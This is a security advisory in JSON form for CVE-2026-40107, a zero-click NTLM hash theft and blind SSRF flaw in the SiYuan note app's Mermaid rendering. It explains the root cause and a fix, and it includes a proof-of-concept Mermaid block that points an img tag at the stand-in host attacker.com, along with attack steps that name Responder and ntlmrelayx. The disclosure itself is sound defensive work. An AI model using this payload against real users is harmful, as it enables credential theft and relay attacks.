CVE-2026-40107: Github.com/siyuan note/siyuan/kernel SiYuan Affected By Zero-Click NTLM Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w95v-4h65-j455",
  "modified" : "2026-04-10T19:21:44Z",
  "published" : "2026-04-10T19:21:44Z",
  "aliases" : [ "CVE-2026-40107" ],
  "summary" : "SiYuan Affected by Zero-Click NTLM Hash Theft and Blind SSRF via Mermaid Diagram Rendering",
  "details" : "SiYuan configures Mermaid.js with `securityLevel: \"loose\"` and `htmlLabels: true`. In this mode, `<img>` tags with `src` attributes survive Mermaid's internal DOMPurify and land in SVG `<foreignObject>` blocks. The SVG is injected via `innerHTML` with no secondary sanitization. When a victim opens a note containing a malicious Mermaid diagram, the Electron client fetches the URL.\n\nOn Windows, a protocol-relative URL (`//attacker.com/image.png`) resolves as a UNC path (`\\\\attacker.com\\image.png`). Windows attempts SMB authentication automatically, sending the victim's NTLMv2 hash to the attacker.\n\n## Root Cause\n\nMermaid initialization at `app/src/protyle/render/mermaidRender.ts` lines 28 and 33:\n\n    mermaid.initialize({\n        securityLevel: \"loose\",\n        flowchart: {\n            htmlLabels: true,\n        },\n    });\n\nSVG injection at line 101:\n\n    renderElement.lastElementChild.innerHTML = mermaidData.svg;\n\nNo DOMPurify or other sanitization between the Mermaid output and DOM insertion.\n\nMermaid v11.12.0 in \"loose\" mode strips active JavaScript (`<script>`, `onerror`, `onload`) but explicitly allows `<img>` tags with `src` attributes in the final SVG output. Verified by rendering the PoC below through the Mermaid CLI with matching configuration.\n\nThe Electron main process at `app/electron/main.js` line 78 sets `disable-web-security`, and lines 319+ set `webSecurity: false`, `nodeIntegration: true`, `contextIsolation: false` on all BrowserWindows. The disabled web security allows protocol-relative URLs to resolve as UNC paths.\n\n## Proof of Concept\n\nMermaid code block in a SiYuan note:\n\n    ```mermaid\n    graph TD\n        A[\"<img src='//attacker.com/share/img.png'>\"] --> B[Normal Node]\n    ```\n\nRendered SVG output (verified with Mermaid CLI 11.12.0, `securityLevel: \"loose\"`, `htmlLabels: true`):\n\n    <foreignObject>\n      <div xmlns=\"http://www.w3.org/1999/xhtml\">\n        <span class=\"nodeLabel\">\n          <p><img src=\"//attacker.com/share/img.png\" style=\"...\"></p>\n        </span>\n      </div>\n    </foreignObject>\n\nWhat was stripped by Mermaid's internal sanitizer (verified): `onerror`, `onload`, all event handler attributes, `<script>` tags, `file://` URLs.\n\nWhat survived (verified): `<img src=\"http://...\">`, `<img src=\"//...\">`.\n\nAttack steps:\n1. Attacker creates a note or .sy export containing the Mermaid block above\n2. Attacker hosts a listener on attacker.com (Responder, ntlmrelayx, or HTTP logger)\n3. Victim imports the notebook or opens the shared note\n4. SiYuan renders the Mermaid diagram, injects SVG via innerHTML\n5. Electron fetches `//attacker.com/share/img.png`\n\nOn Windows: Electron resolves the protocol-relative URL as a UNC path. Windows sends NTLMv2 credentials to the attacker's SMB server.\n\nOn macOS/Linux: Electron makes an HTTP request to the attacker's server, leaking the victim's IP and confirming when the note was read.\n\n## Impact\n\nZero-click credential theft on Windows. The victim only needs to view the note. NTLMv2 hashes can be cracked offline or used in relay attacks. On all platforms, the request acts as a tracking pixel and blind SSRF from the victim's machine.\n\nNo configuration changes required. The `securityLevel: \"loose\"` setting is hardcoded in SiYuan's Mermaid initialization.\n\n## Suggested Fix\n\nChange Mermaid initialization to `securityLevel: \"strict\"`. If HTML labels are required, add a DOMPurify pass on the SVG output before the innerHTML assignment at mermaidRender.ts:101, configured to strip `<img>` tags or enforce a strict URI allowlist blocking external and protocol-relative URLs.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260407035653-2f416e5253f1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w95v-4h65-j455"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40107"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:21:44Z",
    "nvd_published_at" : "2026-04-09T21:16:12Z"
  }
}